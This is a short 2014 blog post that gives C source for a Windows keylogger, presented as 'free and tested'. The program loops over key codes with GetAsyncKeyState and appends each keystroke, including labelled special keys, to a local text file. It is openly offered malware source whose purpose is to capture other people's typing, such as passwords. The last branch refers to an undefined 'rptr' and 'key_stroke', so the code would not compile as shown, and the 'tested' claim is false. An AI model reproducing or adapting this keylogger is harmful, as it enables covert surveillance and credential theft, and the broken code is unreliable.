Sunday 12 January 2014

c program for keylogger for free and tested

/* c code for kelogger  */
/* date : 11-jan-2014  */
/* author :  Kriptino   */

#include<windows.h>
#include<Winuser.h>
#include<iostream>
#include<stdio.h>
#include<stdlib.h>
using namespace std;

int Save (int key, char *file);
int main()
{
    char i;

   printf("This is my simple keylogger.");
   printf("\nloading... \n\n");
   system("color c");
   while(1)
   {
       for(i=8;i<=190;i++)
      {
          if(GetAsyncKeyState(i)==-32767)
              Save(i,"Key_file.txt");
        }
     }
return 0;
}

int Save (int key,char *file)
{
if((key==1)||(key==2))
      return 0;

   FILE *ptr;
   ptr=fopen(file,"a+");
   if(key==8)
       fprintf(ptr,"%s","[BackSpace]");

   else if(key==13)
       fprintf(ptr,"%s","\n");

   else if(key==32)
       fprintf(ptr,"%s"," ");

   else if(key==VK_TAB)
       fprintf(ptr,"%s","[TAB]");

   else if(key==VK_SHIFT)
       fprintf(ptr,"%s","[SHIFT]");

   else if(key==VK_CONTROL)
       fprintf(ptr,"%s","[CONTROL]");

   else if(key==VK_ESCAPE)
       fprintf(ptr,"%s","[ESCAPE]");

   else if(key==VK_END)
       fprintf(ptr,"%s","[END]");

   else if(key==VK_HOME)
       fprintf(ptr,"%s","HOME");

   else if(key==VK_LEFT)
       fprintf(ptr,"%s","[LEFT]");

   else if(key==VK_UP)
       fprintf(ptr,"%s","[UP]");

   else if(key==VK_RIGHT)
       fprintf(ptr,"%s","[RIGHT]");

   else if(key==VK_DOWN)
       fprintf(ptr,"%s","[DOWN]");

   else if(key==190 || key==110)
       fprintf(ptr,"%s",".");

    else
       fprintf(rptr,"%s",&key_stroke);
   fclose(ptr);

   return 0;
}

No comments:

Post a Comment